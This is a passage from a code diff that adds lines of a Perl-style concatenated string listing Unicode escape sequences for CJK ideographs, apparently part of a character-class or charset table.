+'\x{5D9F}\x{5DA0}\x{5DA1}\x{5DA2}\x{5DA5}\x{5DA6}\x{5DA7}\x{5DA8}\x{5DA9}' .
+'\x{5DAA}\x{5DAC}\x{5DAD}\x{5DAE}\x{5DAF}\x{5DB0}\x{5DB1}\x{5DB2}\x{5DB4}' .
+'\x{5DB5}\x{5DB6}\x{5DB7}\x{5DB8}\x{5DBA}\x{5DBB}\x{5DBC}\x{5DBD}\x{5DBE}' .
+'\x{5DBF}\x{5DC0}\x{5DC1}\x{5DC2}\x{5DC3}\x{5DC5}\x{5DC6}\x{5DC7}\x{5DC8}' .
+'\x{5DC9}\x{5DCA}\x{5DCB}\x{5DCC}\x{5DCD}\x{5DCE}\x{5DCF}\x{5DD0}\x{5DD1}' .
+'\x{5DD2}\x{5DD3}\x{5DD4}\x{5DD5}\x{5DD6}\x{5DD8}\x{5DD9}\x{5DDB}\x{5DDD}' .
+'\x{5DDE}\x{5DDF}\x{5DE0}\x{5DE1}\x{5DE2}\x{5DE3}\x{5DE4}\x{5DE5}\x{5DE6}' .
+'\x{5DE7}\x{5DE8}\x{5DE9}\x{5DEA}\x{5DEB}\x{5DEC}\x{5DED}\x{5DEE}\x{5DEF}' .
+'\x{5DF0}\x{5DF1}\x{5DF2}\x{5DF3}\x{5DF4}\x{5DF5}\x{5DF7}\x{5DF8}\x{5DF9}' .
+'\x{5DFA}\x{5DFB}\x{5DFC}\x{5DFD}\x{5DFE}\x{5DFF}\x{5E00}\x{5E01}\x{5E02}' .
+'\x{5E03}\x{5E04}\x{5E05}\x{5E06}\x{5E07}\x{5E08}\x{5E09}\x{5E0A}\x{5E0B}' .
+'\x{5E0C}\x{5E0D}\x{5E0E}\x{5E0F}\x{5E10}\x{5E11}\x{5E13}\x{5E14}\x{5E15}' .
+'\x{5E16}\x{5E17}\x{5E18}\x{5E19}\x{5E1A}\x{5E1B}\x{5E1C}\x{5E1D}\x{5E1E}' .
+'\x{5E1F}\x{5E20}\x{5E21}\x{5E22}\x{5E23}\x{5E24}\x{5E25}\x{5E26}\x{5E27}' .
+'\x{5E28}\x{5E29}\x{5E2A}\x{5E2B}\x{5E2C}\x{5E2D}\x{5E2E}\x{5E2F}\x{5E30}' .
+'\x{5E31}\x{5E32}\x{5E33}\x{5E34}\x{5E35}\x{5E36}\x{5E37}\x{5E38}\x{5E39}' .
+'\x{5E3A}\x{5E3B}\x{5E3C}\x{5E3D}\x{5E3E}\x{5E40}\x{5E41}\x{5E42}\x{5E43}' .
+'\x{5E44}\x{5E45}\x{5E46}\x{5E47}\x{5E49}\x{5E4A}\x{5E4B}\x{5E4C}\x{5E4D}' .
+'\x{5E4E}\x{5E4F}\x{5E50}\x{5E52}\x{5E53}\x{5E54}\x{5E55}\x{5E56}\x{5E57}' .
+'\x{5E58}\x{5E59}\x{5E5A}\x{5E5B}\x{5E5C}\x{5E5D}\x{5E5E}\x{5E5F}\x{5E60}' .
+'\x{5E61}\x{5E62}\x{5E63}\x{5E64}\x{5E65}\x{5E66}\x{5E67}\x{5E68}\x{5E69}' .
+'\x{5E6A}\x{5E6B}\x{5E6C}\x{5E6D}\x{5E6E}\x{5E6F}\x{5E70}\x{5E71}\x{5E72}' .
+'\x{5E73}\x{5E74}\x{5E75}\x{5E76}\x{5E77}\x{5E78}\x{5E79}\x{5E7A}\x{5E7B}' .
+'\x{5E7C}\x{5E7D}\x{5E7E}\x{5E7F}\x{5E80}\x{5E81}\x{5E82}\x{5E83}\x{5E84}' .
+'\x{5E85}\x{5E86}\x{5E87}\x{5E88}\x{5E89}\x{5E8A}\x{5E8B}\x{5E8C}\x{5E8D}' .
+'\x{5E8E}\x{5E8F}\x{5E90}\x{5E91}\x{5E93}\x{5E94}\x{5E95}\x{5E96}\x{5E97}' .
+'\x{5E98}\x{5E99}\x{5E9A}\x{5E9B}\x{5E9C}\x{5E9D}\x{5E9E}\x{5E9F}\x{5EA0}' .
+'\x{5EA1}\x{5EA2}\x{5EA3}\x{5EA4}\x{5EA5}\x{5EA6}\x{5EA7}\x{5EA8}\x{5EA9}' .
+'\x{5EAA}\x{5EAB}\x{5EAC}\x{5EAD}\x{5EAE}\x{5EAF}\x{5EB0}\x{5EB1}\x{5EB2}' .
+'\x{5EB3}\x{5EB4}\x{5EB5}\x{5EB6}\x{5EB7}\x{5EB8}\x{5EB9}\x{5EBB}\x{5EBC}' .
+'\x{5EBD}\x{5EBE}\x{5EBF}\x{5EC1}\x{5EC2}\x{5EC3}\x{5EC4}\x{5EC5}\x{5EC6}' .
+'\x{5EC7}\x{5EC8}\x{5EC9}\x{5ECA}\x{5ECB}\x{5ECC}\x{5ECD}\x{5ECE}\x{5ECF}' .
+'\x{5ED0}\x{5ED1}\x{5ED2}\x{5ED3}\x{5ED4}\x{5ED5}\x{5ED6}\x{5ED7}\x{5ED8}' .
+'\x{5ED9}\x{5EDA}\x{5EDB}\x{5EDC}\x{5EDD}\x{5EDE}\x{5EDF}\x{5EE0}\x{5EE1}' .
+'\x{5EE2}\x{5EE3}\x{5EE4}\x{5EE5}\x{5EE6}\x{5EE7}\x{5EE8}\x{5EE9}\x{5EEA}' .
+'\x{5EEC}\x{5EED}\x{5EEE}\x{5EEF}\x{5EF0}\x{5EF1}\x{5EF2}\x{5EF3}\x{5EF4}' .
+'\x{5EF5}\x{5EF6}\x{5EF7}\x{5EF8}\x{5EFA}\x{5EFB}\x{5EFC}\x{5EFD}\x{5EFE}' .
+'\x{5EFF}\x{5F00}\x{5F01}\x{5F02}\x{5F03}\x{5F04}\x{5F05}\x{5F06}\x{5F07}' .
+'\x{5F08}\x{5F0A}\x{5F0B}\x{5F0C}\x{5F0D}\x{5F0F}\x{5F11}\x{5F12}\x{5F13}' .
+'\x{5F14}\x{5F15}\x{5F16}\x{5F17}\x{5F18}\x{5F19}\x{5F1A}\x{5F1B}\x{5F1C}' .
+'\x{5F1D}\x{5F1E}\x{5F1F}\x{5F20}\x{5F21}\x{5F22}\x{5F23}\x{5F24}\x{5F25}' .
+'\x{5F26}\x{5F27}\x{5F28}\x{5F29}\x{5F2A}\x{5F2B}\x{5F2C}\x{5F2D}\x{5F2E}' .
+'\x{5F2F}\x{5F30}\x{5F31}\x{5F32}\x{5F33}\x{5F34}\x{5F35}\x{5F36}\x{5F37}' .
+'\x{5F38}\x{5F39}\x{5F3A}\x{5F3C}\x{5F3E}\x{5F3F}\x{5F40}\x{5F41}\x{5F42}' .
+'\x{5F43}\x{5F44}\x{5F45}\x{5F46}\x{5F47}\x{5F48}\x{5F49}\x{5F4A}\x{5F4B}' .
+'\x{5F4C}\x{5F4D}\x{5F4E}\x{5F4F}\x{5F50}\x{5F51}\x{5F52}\x{5F53}\x{5F54}' .
+'\x{5F55}\x{5F56}\x{5F57}\x{5F58}\x{5F59}\x{5F5A}\x{5F5B}\x{5F5C}\x{5F5D}' .
+'\x{5F5E}\x{5F5F}\x{5F60}\x{5F61}\x{5F62}\x{5F63}\x{5F64}\x{5F65}\x{5F66}' .
+'\x{5F67}\x{5F68}\x{5F69}\x{5F6A}\x{5F6B}\x{5F6C}\x{5F6D}\x{5F6E}\x{5F6F}' .
+'\x{5F70}\x{5F71}\x{5F72}\x{5F73}\x{5F74}\x{5F75}\x{5F76}\x{5F77}\x{5F78}' .
+'\x{5F79}\x{5F7A}\x{5F7B}\x{5F7C}\x{5F7D}\x{5F7E}\x{5F7F}\x{5F80}\x{5F81}' .
+'\x{5F82}\x{5F83}\x{5F84}\x{5F85}\x{5F86}\x{5F87}\x{5F88}\x{5F89}\x{5F8A}' .
+'\x{5F8B}\x{5F8C}\x{5F8D}\x{5F8E}\x{5F90}\x{5F91}\x{5F92}\x{5F93}\x{5F94}' .
+'\x{5F95}\x{5F96}\x{5F97}\x{5F98}\x{5F99}\x{5F9B}\x{5F9C}\x{5F9D}\x{5F9E}' .
+'\x{5F9F}\x{5FA0}\x{5FA1}\x{5FA2}\x{5FA5}\x{5FA6}\x{5FA7}\x{5FA8}\x{5FA9}' .
+'\x{5FAA}\x{5FAB}\x{5FAC}\x{5FAD}\x{5FAE}\x{5FAF}\x{5FB1}\x{5FB2}\x{5FB3}' .
+'\x{5FB4}\x{5FB5}\x{5FB6}\x{5FB7}\x{5FB8}\x{5FB9}\x{5FBA}\x{5FBB}\x{5FBC}' .
+'\x{5FBD}\x{5FBE}\x{5FBF}\x{5FC0}\x{5FC1}\x{5FC3}\x{5FC4}\x{5FC5}\x{5FC6}' .
+'\x{5FC7}\x{5FC8}\x{5FC9}\x{5FCA}\x{5FCB}\x{5FCC}\x{5FCD}\x{5FCF}\x{5FD0}' .
+'\x{5FD1}\x{5FD2}\x{5FD3}\x{5FD4}\x{5FD5}\x{5FD6}\x{5FD7}\x{5FD8}\x{5FD9}' .
+'\x{5FDA}\x{5FDC}\x{5FDD}\x{5FDE}\x{5FE0}\x{5FE1}\x{5FE3}\x{5FE4}\x{5FE5}' .
+'\x{5FE6}\x{5FE7}\x{5FE8}\x{5FE9}\x{5FEA}\x{5FEB}\x{5FED}\x{5FEE}\x{5FEF}' .
+'\x{5FF0}\x{5FF1}\x{5FF2}\x{5FF3}\x{5FF4}\x{5FF5}\x{5FF6}\x{5FF7}\x{5FF8}' .
+'\x{5FF9}\x{5FFA}\x{5FFB}\x{5FFD}\x{5FFE}\x{5FFF}\x{6000}\x{6001}\x{6002}' .
+'\x{6003}\x{6004}\x{6005}\x{6006}\x{6007}\x{6008}\x{6009}\x{600A}\x{600B}' .
+'\x{600C}\x{600D}\x{600E}\x{600F}\x{6010}\x{6011}\x{6012}\x{6013}\x{6014}' .
+'\x{6015}\x{6016}\x{6017}\x{6018}\x{6019}\x{601A}\x{601B}\x{601C}\x{601D}' .
+'\x{601E}\x{601F}\x{6020}\x{6021}\x{6022}\x{6024}\x{6025}\x{6026}\x{6027}' .
+'\x{6028}\x{6029}\x{602A}\x{602B}\x{602C}\x{602D}\x{602E}\x{602F}\x{6030}' .
+'\x{6031}\x{6032}\x{6033}\x{6034}\x{6035}\x{6036}\x{6037}\x{6038}\x{6039}' .
+'\x{603A}\x{603B}\x{603C}\x{603D}\x{603E}\x{603F}\x{6040}\x{6041}\x{6042}' .
+'\x{6043}\x{6044}\x{6045}\x{6046}\x{6047}\x{6048}\x{6049}\x{604A}\x{604B}' .
+'\x{604C}\x{604D}\x{604E}\x{604F}\x{6050}\x{6051}\x{6052}\x{6053}\x{6054}' .
+'\x{6055}\x{6057}\x{6058}\x{6059}\x{605A}\x{605B}\x{605C}\x{605D}\x{605E}' .
+'\x{605F}\x{6062}\x{6063}\x{6064}\x{6065}\x{6066}\x{6067}\x{6068}\x{6069}' .
+'\x{606A}\x{606B}\x{606C}\x{606D}\x{606E}\x{606F}\x{6070}\x{6072}\x{6073}' .
+'\x{6075}\x{6076}\x{6077}\x{6078}\x{6079}\x{607A}\x{607B}\x{607C}\x{607D}' .
+'\x{607E}\x{607F}\x{6080}\x{6081}\x{6082}\x{6083}\x{6084}\x{6085}\x{6086}' .
+'\x{6087}\x{6088}\x{6089}\x{608A}\x{608B}\x{608C}\x{608D}\x{608E}\x{608F}' .
+'\x{6090}\x{6092}\x{6094}\x{6095}\x{6096}\x{6097}\x{6098}\x{6099}\x{609A}' .
+'\x{609B}\x{609C}\x{609D}\x{609E}\x{609F}\x{60A0}\x{60A1}\x{60A2}\x{60A3}' .
+'\x{60A4}\x{60A6}\x{60A7}\x{60A8}\x{60AA}\x{60AB}\x{60AC}\x{60AD}\x{60AE}' .
+'\x{60AF}\x{60B0}\x{60B1}\x{60B2}\x{60B3}\x{60B4}\x{60B5}\x{60B6}\x{60B7}' .
+'\x{60B8}\x{60B9}\x{60BA}\x{60BB}\x{60BC}\x{60BD}\x{60BE}\x{60BF}\x{60C0}' .
+'\x{60C1}\x{60C2}\x{60C3}\x{60C4}\x{60C5}\x{60C6}\x{60C7}\x{60C8}\x{60C9}' .
+'\x{60CA}\x{60CB}\x{60CC}\x{60CD}\x{60CE}\x{60CF}\x{60D0}\x{60D1}\x{60D3}' .
+'\x{60D4}\x{60D5}\x{60D7}\x{60D8}\x{60D9}\x{60DA}\x{60DB}\x{60DC}\x{60DD}' .
+'\x{60DF}\x{60E0}\x{60E1}\x{60E2}\x{60E4}\x{60E6}\x{60E7}\x{60E8}\x{60E9}' .
+'\x{60EA}\x{60EB}\x{60EC}\x{60ED}\x{60EE}\x{60EF}\x{60F0}\x{60F1}\x{60F2}' .
+'\x{60F3}\x{60F4}\x{60F5}\x{60F6}\x{60F7}\x{60F8}\x{60F9}\x{60FA}\x{60FB}' .
+'\x{60FC}\x{60FE}\x{60FF}\x{6100}\x{6101}\x{6103}\x{6104}\x{6105}\x{6106}' .
+'\x{6108}\x{6109}\x{610A}\x{610B}\x{610C}\x{610D}\x{610E}\x{610F}\x{6110}' .
+'\x{6112}\x{6113}\x{6114}\x{6115}\x{6116}\x{6117}\x{6118}\x{6119}\x{611A}' .
+'\x{611B}\x{611C}\x{611D}\x{611F}\x{6120}\x{6122}\x{6123}\x{6124}\x{6125}' .
+'\x{6126}\x{6127}\x{6128}\x{6129}\x{612A}\x{612B}\x{612C}\x{612D}\x{612E}' .
+'\x{612F}\x{6130}\x{6132}\x{6134}\x{6136}\x{6137}\x{613A}\x{613B}\x{613C}' .
+'\x{613D}\x{613E}\x{613F}\x{6140}\x{6141}\x{6142}\x{6143}\x{6144}\x{6145}' .
+'\x{6146}\x{6147}\x{6148}\x{6149}\x{614A}\x{614B}\x{614C}\x{614D}\x{614E}' .
+'\x{614F}\x{6150}\x{6151}\x{6152}\x{6153}\x{6154}\x{6155}\x{6156}\x{6157}' .
+'\x{6158}\x{6159}\x{615A}\x{615B}\x{615C}\x{615D}\x{615E}\x{615F}\x{6161}' .
+'\x{6162}\x{6163}\x{6164}\x{6165}\x{6166}\x{6167}\x{6168}\x{6169}\x{616A}' .
+'\x{616B}\x{616C}\x{616D}\x{616E}\x{6170}\x{6171}\x{6172}\x{6173}\x{6174}' .
+'\x{6175}\x{6176}\x{6177}\x{6178}\x{6179}\x{617A}\x{617C}\x{617E}\x{6180}' .
+'\x{6181}\x{6182}\x{6183}\x{6184}\x{6185}\x{6187}\x{6188}\x{6189}\x{618A}' .
+'\x{618B}\x{618C}\x{618D}\x{618E}\x{618F}\x{6190}\x{6191}\x{6192}\x{6193}' .
+'\x{6194}\x{6195}\x{6196}\x{6198}\x{6199}\x{619A}\x{619B}\x{619D}\x{619E}' .
+'\x{619F}\x{61A0}\x{61A1}\x{61A2}\x{61A3}\x{61A4}\x{61A5}\x{61A6}\x{61A7}' .
+'\x{61A8}\x{61A9}\x{61AA}\x{61AB}\x{61AC}\x{61AD}\x{61AE}\x{61AF}\x{61B0}' .
+'\x{61B1}\x{61B2}\x{61B3}\x{61B4}\x{61B5}\x{61B6}\x{61B7}\x{61B8}\x{61BA}' .
+'\x{61BC}\x{61BD}\x{61BE}\x{61BF}\x{61C0}\x{61C1}\x{61C2}\x{61C3}\x{61C4}' .
+'\x{61C5}\x{61C6}\x{61C7}\x{61C8}\x{61C9}\x{61CA}\x{61CB}\x{61CC}\x{61CD}' .
+'\x{61CE}\x{61CF}\x{61D0}\x{61D1}\x{61D2}\x{61D4}\x{61D6}\x{61D7}\x{61D8}' .
+'\x{61D9}\x{61DA}\x{61DB}\x{61DC}\x{61DD}\x{61DE}\x{61DF}\x{61E0}\x{61E1}' .
+'\x{61E2}\x{61E3}\x{61E4}\x{61E5}\x{61E6}\x{61E7}\x{61E8}\x{61E9}\x{61EA}' .
+'\x{61EB}\x{61ED}\x{61EE}\x{61F0}\x{61F1}\x{61F2}\x{61F3}\x{61F5}\x{61F6}' .
+'\x{61F7}\x{61F8}\x{61F9}\x{61FA}\x{61FB}\x{61FC}\x{61FD}\x{61FE}\x{61FF}' .
+'\x{6200}\x{6201}\x{6202}\x{6203}\x{6204}\x{6206}\x{6207}\x{6208}\x{6209}' .
+'\x{620A}\x{620B}\x{620C}\x{620D}\x{620E}\x{620F}\x{6210}\x{6211}\x{6212}' .
+'\x{6213}\x{6214}\x{6215}\x{6216}\x{6217}\x{6218}\x{6219}\x{621A}\x{621B}' .
+'\x{621C}\x{621D}\x{621E}\x{621F}\x{6220}\x{6221}\x{6222}\x{6223}\x{6224}' .
+'\x{6225}\x{6226}\x{6227}\x{6228}\x{6229}\x{622A}\x{622B}\x{622C}\x{622D}' .
+'\x{622E}\x{622F}\x{6230}\x{6231}\x{6232}\x{6233}\x{6234}\x{6236}\x{6237}' .
+'\x{6238}\x{623A}\x{623B}\x{623C}\x{623D}\x{623E}\x{623F}\x{6240}\x{6241}' .
+'\x{6242}\x{6243}\x{6244}\x{6245}\x{6246}\x{6247}\x{6248}\x{6249}\x{624A}' .
+'\x{624B}\x{624C}\x{624D}\x{624E}\x{624F}\x{6250}\x{6251}\x{6252}\x{6253}' .
+'\x{6254}\x{6255}\x{6256}\x{6258}\x{6259}\x{625A}\x{625B}\x{625C}\x{625D}' .
+'\x{625E}\x{625F}\x{6260}\x{6261}\x{6262}\x{6263}\x{6264}\x{6265}\x{6266}' .
+'\x{6267}\x{6268}\x{6269}\x{626A}\x{626B}\x{626C}\x{626D}\x{626E}\x{626F}' .
+'\x{6270}\x{6271}\x{6272}\x{6273}\x{6274}\x{6275}\x{6276}\x{6277}\x{6278}' .
+'\x{6279}\x{627A}\x{627B}\x{627C}\x{627D}\x{627E}\x{627F}\x{6280}\x{6281}' .
+'\x{6283}\x{6284}\x{6285}\x{6286}\x{6287}\x{6288}\x{6289}\x{628A}\x{628B}' .
+'\x{628C}\x{628E}\x{628F}\x{6290}\x{6291}\x{6292}\x{6293}\x{6294}\x{6295}' .
+'\x{6296}\x{6297}\x{6298}\x{6299}\x{629A}\x{629B}\x{629C}\x{629E}\x{629F}' .
+'\x{62A0}\x{62A1}\x{62A2}\x{62A3}\x{62A4}\x{62A5}\x{62A7}\x{62A8}\x{62A9}' .
+'\x{62AA}\x{62AB}\x{62AC}\x{62AD}\x{62AE}\x{62AF}\x{62B0}\x{62B1}\x{62B2}' .
+'\x{62B3}\x{62B4}\x{62B5}\x{62B6}\x{62B7}\x{62B8}\x{62B9}\x{62BA}\x{62BB}' .
+'\x{62BC}\x{62BD}\x{62BE}\x{62BF}\x{62C0}\x{62C1}\x{62C2}\x{62C3}\x{62C4}' .
+'\x{62C5}\x{62C6}\x{62C7}\x{62C8}\x{62C9}\x{62CA}\x{62CB}\x{62CC}\x{62CD}' .
+'\x{62CE}\x{62CF}\x{62D0}\x{62D1}\x{62D2}\x{62D3}\x{62D4}\x{62D5}\x{62D6}' .
+'\x{62D7}\x{62D8}\x{62D9}\x{62DA}\x{62DB}\x{62DC}\x{62DD}\x{62DF}\x{62E0}' .
+'\x{62E1}\x{62E2}\x{62E3}\x{62E4}\x{62E5}\x{62E6}\x{62E7}\x{62E8}\x{62E9}' .
+'\x{62EB}\x{62EC}\x{62ED}\x{62EE}\x{62EF}\x{62F0}\x{62F1}\x{62F2}\x{62F3}' .
+'\x{62F4}\x{62F5}\x{62F6}\x{62F7}\x{62F8}\x{62F9}\x{62FA}\x{62FB}\x{62FC}' .
+'\x{62FD}\x{62FE}\x{62FF}\x{6300}\x{6301}\x{6302}\x{6303}\x{6304}\x{6305}' .
+'\x{6306}\x{6307}\x{6308}\x{6309}\x{630B}\x{630C}\x{630D}\x{630E}\x{630F}' .
+'\x{6310}\x{6311}\x{6312}\x{6313}\x{6314}\x{6315}\x{6316}\x{6318}\x{6319}' .
+'\x{631A}\x{631B}\x{631C}\x{631D}\x{631E}\x{631F}\x{6320}\x{6321}\x{6322}' .
+'\x{6323}\x{6324}\x{6325}\x{6326}\x{6327}\x{6328}\x{6329}\x{632A}\x{632B}' .
+'\x{632C}\x{632D}\x{632E}\x{632F}\x{6330}\x{6332}\x{6333}\x{6334}\x{6336}' .
+'\x{6338}\x{6339}\x{633A}\x{633B}\x{633C}\x{633D}\x{633E}\x{6340}\x{6341}' .
+'\x{6342}\x{6343}\x{6344}\x{6345}\x{6346}\x{6347}\x{6348}\x{6349}\x{634A}' .
+'\x{634B}\x{634C}\x{634D}\x{634E}\x{634F}\x{6350}\x{6351}\x{6352}\x{6353}' .
+'\x{6354}\x{6355}\x{6356}\x{6357}\x{6358}\x{6359}\x{635A}\x{635C}\x{635D}' .
+'\x{635E}\x{635F}\x{6360}\x{6361}\x{6362}\x{6363}\x{6364}\x{6365}\x{6366}' .
+'\x{6367}\x{6368}\x{6369}\x{636A}\x{636B}\x{636C}\x{636D}\x{636E}\x{636F}' .
+'\x{6370}\x{6371}\x{6372}\x{6373}\x{6374}\x{6375}\x{6376}\x{6377}\x{6378}' .
+'\x{6379}\x{637A}\x{637B}\x{637C}\x{637D}\x{637E}\x{6380}\x{6381}\x{6382}' .
+'\x{6383}\x{6384}\x{6385}\x{6386}\x{6387}\x{6388}\x{6389}\x{638A}\x{638C}' .
+'\x{638D}\x{638E}\x{638F}\x{6390}\x{6391}\x{6392}\x{6394}\x{6395}\x{6396}' .
+'\x{6397}\x{6398}\x{6399}\x{639A}\x{639B}\x{639C}\x{639D}\x{639E}\x{639F}' .
+'\x{63A0}\x{63A1}\x{63A2}\x{63A3}\x{63A4}\x{63A5}\x{63A6}\x{63A7}\x{63A8}' .
+'\x{63A9}\x{63AA}\x{63AB}\x{63AC}\x{63AD}\x{63AE}\x{63AF}\x{63B0}\x{63B1}' .
+'\x{63B2}\x{63B3}\x{63B4}\x{63B5}\x{63B6}\x{63B7}\x{63B8}\x{63B9}\x{63BA}' .
+'\x{63BC}\x{63BD}\x{63BE}\x{63BF}\x{63C0}\x{63C1}\x{63C2}\x{63C3}\x{63C4}' .
+'\x{63C5}\x{63C6}\x{63C7}\x{63C8}\x{63C9}\x{63CA}\x{63CB}\x{63CC}\x{63CD}' .
+'\x{63CE}\x{63CF}\x{63D0}\x{63D2}\x{63D3}\x{63D4}\x{63D5}\x{63D6}\x{63D7}' .
+'\x{63D8}\x{63D9}\x{63DA}\x{63DB}\x{63DC}\x{63DD}\x{63DE}\x{63DF}\x{63E0}' .
+'\x{63E1}\x{63E2}\x{63E3}\x{63E4}\x{63E5}\x{63E6}\x{63E7}\x{63E8}\x{63E9}' .
+'\x{63EA}\x{63EB}\x{63EC}\x{63ED}\x{63EE}\x{63EF}\x{63F0}\x{63F1}\x{63F2}' .
+'\x{63F3}\x{63F4}\x{63F5}\x{63F6}\x{63F7}\x{63F8}\x{63F9}\x{63FA}\x{63FB}' .
+'\x{63FC}\x{63FD}\x{63FE}\x{63FF}\x{6400}\x{6401}\x{6402}\x{6403}\x{6404}' .
+'\x{6405}\x{6406}\x{6408}\x{6409}\x{640A}\x{640B}\x{640C}\x{640D}\x{640E}' .
+'\x{640F}\x{6410}\x{6411}\x{6412}\x{6413}\x{6414}\x{6415}\x{6416}\x{6417}' .
+'\x{6418}\x{6419}\x{641A}\x{641B}\x{641C}\x{641D}\x{641E}\x{641F}\x{6420}' .
+'\x{6421}\x{6422}\x{6423}\x{6424}\x{6425}\x{6426}\x{6427}\x{6428}\x{6429}' .
+'\x{642A}\x{642B}\x{642C}\x{642D}\x{642E}\x{642F}\x{6430}\x{6431}\x{6432}' .
+'\x{6433}\x{6434}\x{6435}\x{6436}\x{6437}\x{6438}\x{6439}\x{643A}\x{643D}' .
+'\x{643E}\x{643F}\x{6440}\x{6441}\x{6443}\x{6444}\x{6445}\x{6446}\x{6447}' .
+'\x{6448}\x{644A}\x{644B}\x{644C}\x{644D}\x{644E}\x{644F}\x{6450}\x{6451}' .
+'\x{6452}\x{6453}\x{6454}\x{6455}\x{6456}\x{6457}\x{6458}\x{6459}\x{645B}' .
+'\x{645C}\x{645D}\x{645E}\x{645F}\x{6460}\x{6461}\x{6462}\x{6463}\x{6464}' .
+'\x{6465}\x{6466}\x{6467}\x{6468}\x{6469}\x{646A}\x{646B}\x{646C}\x{646D}' .
+'\x{646E}\x{646F}\x{6470}\x{6471}\x{6472}\x{6473}\x{6474}\x{6475}\x{6476}' .
+'\x{6477}\x{6478}\x{6479}\x{647A}\x{647B}\x{647C}\x{647D}\x{647F}\x{6480}' .
+'\x{6481}\x{6482}\x{6483}\x{6484}\x{6485}\x{6487}\x{6488}\x{6489}\x{648A}' .
+'\x{648B}\x{648C}\x{648D}\x{648E}\x{648F}\x{6490}\x{6491}\x{6492}\x{6493}' .
+'\x{6494}\x{6495}\x{6496}\x{6497}\x{6498}\x{6499}\x{649A}\x{649B}\x{649C}' .
+'\x{649D}\x{649E}\x{649F}\x{64A0}\x{64A2}\x{64A3}\x{64A4}\x{64A5}\x{64A6}' .
+'\x{64A7}\x{64A8}\x{64A9}\x{64AA}\x{64AB}\x{64AC}\x{64AD}\x{64AE}\x{64B0}' .
+'\x{64B1}\x{64B2}\x{64B3}\x{64B4}\x{64B5}\x{64B7}\x{64B8}\x{64B9}\x{64BA}' .
+'\x{64BB}\x{64BC}\x{64BD}\x{64BE}\x{64BF}\x{64C0}\x{64C1}\x{64C2}\x{64C3}' .
+'\x{64C4}\x{64C5}\x{64C6}\x{64C7}\x{64C9}\x{64CA}\x{64CB}\x{64CC}\x{64CD}' .
+'\x{64CE}\x{64CF}\x{64D0}\x{64D1}\x{64D2}\x{64D3}\x{64D4}\x{64D6}\x{64D7}' .
+'\x{64D8}\x{64D9}\x{64DA}\x{64DB}\x{64DC}\x{64DD}\x{64DE}\x{64DF}\x{64E0}' .
+'\x{64E2}\x{64E3}\x{64E4}\x{64E6}\x{64E7}\x{64E8}\x{64E9}\x{64EA}\x{64EB}' .
+'\x{64EC}\x{64ED}\x{64EF}\x{64F0}\x{64F1}\x{64F2}\x{64F3}\x{64F4}\x{64F6}' .
+'\x{64F7}\x{64F8}\x{64FA}\x{64FB}\x{64FC}\x{64FD}\x{64FE}\x{64FF}\x{6500}' .
+'\x{6501}\x{6503}\x{6504}\x{6505}\x{6506}\x{6507}\x{6508}\x{6509}\x{650B}' .
+'\x{650C}\x{650D}\x{650E}\x{650F}\x{6510}\x{6511}\x{6512}\x{6513}\x{6514}' .
+'\x{6515}\x{6516}\x{6517}\x{6518}\x{6519}\x{651A}\x{651B}\x{651C}\x{651D}' .
+'\x{651E}\x{6520}\x{6521}\x{6522}\x{6523}\x{6524}\x{6525}\x{6526}\x{6527}' .
+'\x{6529}\x{652A}\x{652B}\x{652C}\x{652D}\x{652E}\x{652F}\x{6530}\x{6531}' .
+'\x{6532}\x{6533}\x{6534}\x{6535}\x{6536}\x{6537}\x{6538}\x{6539}\x{653A}' .
+'\x{653B}\x{653C}\x{653D}\x{653E}\x{653F}\x{6541}\x{6543}\x{6544}\x{6545}' .
+'\x{6546}\x{6547}\x{6548}\x{6549}\x{654A}\x{654B}\x{654C}\x{654D}\x{654E}' .
+'\x{654F}\x{6550}\x{6551}\x{6552}\x{6553}\x{6554}\x{6555}\x{6556}\x{6557}' .
+'\x{6558}\x{6559}\x{655B}\x{655C}\x{655D}\x{655E}\x{6560}\x{6561}\x{6562}' .
+'\x{6563}\x{6564}\x{6565}\x{6566}\x{6567}\x{6568}\x{6569}\x{656A}\x{656B}' .
+'\x{656C}\x{656E}\x{656F}\x{6570}\x{6571}\x{6572}\x{6573}\x{6574}\x{6575}' .
+'\x{6576}\x{6577}\x{6578}\x{6579}\x{657A}\x{657B}\x{657C}\x{657E}\x{657F}' .
+'\x{6580}\x{6581}\x{6582}\x{6583}\x{6584}\x{6585}\x{6586}\x{6587}\x{6588}' .
+'\x{6589}\x{658B}\x{658C}\x{658D}\x{658E}\x{658F}\x{6590}\x{6591}\x{6592}' .
+'\x{6593}\x{6594}\x{6595}\x{6596}\x{6597}\x{6598}\x{6599}\x{659B}\x{659C}' .
+'\x{659D}\x{659E}\x{659F}\x{65A0}\x{65A1}\x{65A2}\x{65A3}\x{65A4}\x{65A5}' .
+'\x{65A6}\x{65A7}\x{65A8}\x{65A9}\x{65AA}\x{65AB}\x{65AC}\x{65AD}\x{65AE}' .
+'\x{65AF}\x{65B0}\x{65B1}\x{65B2}\x{65B3}\x{65B4}\x{65B6}\x{65B7}\x{65B8}' .
+'\x{65B9}\x{65BA}\x{65BB}\x{65BC}\x{65BD}\x{65BF}\x{65C0}\x{65C1}\x{65C2}' .
+'\x{65C3}\x{65C4}\x{65C5}\x{65C6}\x{65C7}\x{65CA}\x{65CB}\x{65CC}\x{65CD}' .
+'\x{65CE}\x{65CF}\x{65D0}\x{65D2}\x{65D3}\x{65D4}\x{65D5}\x{65D6}\x{65D7}' .
+'\x{65DA}\x{65DB}\x{65DD}\x{65DE}\x{65DF}\x{65E0}\x{65E1}\x{65E2}\x{65E3}' .
+'\x{65E5}\x{65E6}\x{65E7}\x{65E8}\x{65E9}\x{65EB}\x{65EC}\x{65ED}\x{65EE}' .
+'\x{65EF}\x{65F0}\x{65F1}\x{65F2}\x{65F3}\x{65F4}\x{65F5}\x{65F6}\x{65F7}' .
+'\x{65F8}\x{65FA}\x{65FB}\x{65FC}\x{65FD}\x{6600}\x{6601}\x{6602}\x{6603}' .
+'\x{6604}\x{6605}\x{6606}\x{6607}\x{6608}\x{6609}\x{660A}\x{660B}\x{660C}' .
+'\x{660D}\x{660E}\x{660F}\x{6610}\x{6611}\x{6612}\x{6613}\x{6614}\x{6615}' .
+'\x{6616}\x{6618}\x{6619}\x{661A}\x{661B}\x{661C}\x{661D}\x{661F}\x{6620}' .
+'\x{6621}\x{6622}\x{6623}\x{6624}\x{6625}\x{6626}\x{6627}\x{6628}\x{6629}' .
+'\x{662A}\x{662B}\x{662D}\x{662E}\x{662F}\x{6630}\x{6631}\x{6632}\x{6633}' .
+'\x{6634}\x{6635}\x{6636}\x{6639}\x{663A}\x{663C}\x{663D}\x{663E}\x{6640}' .
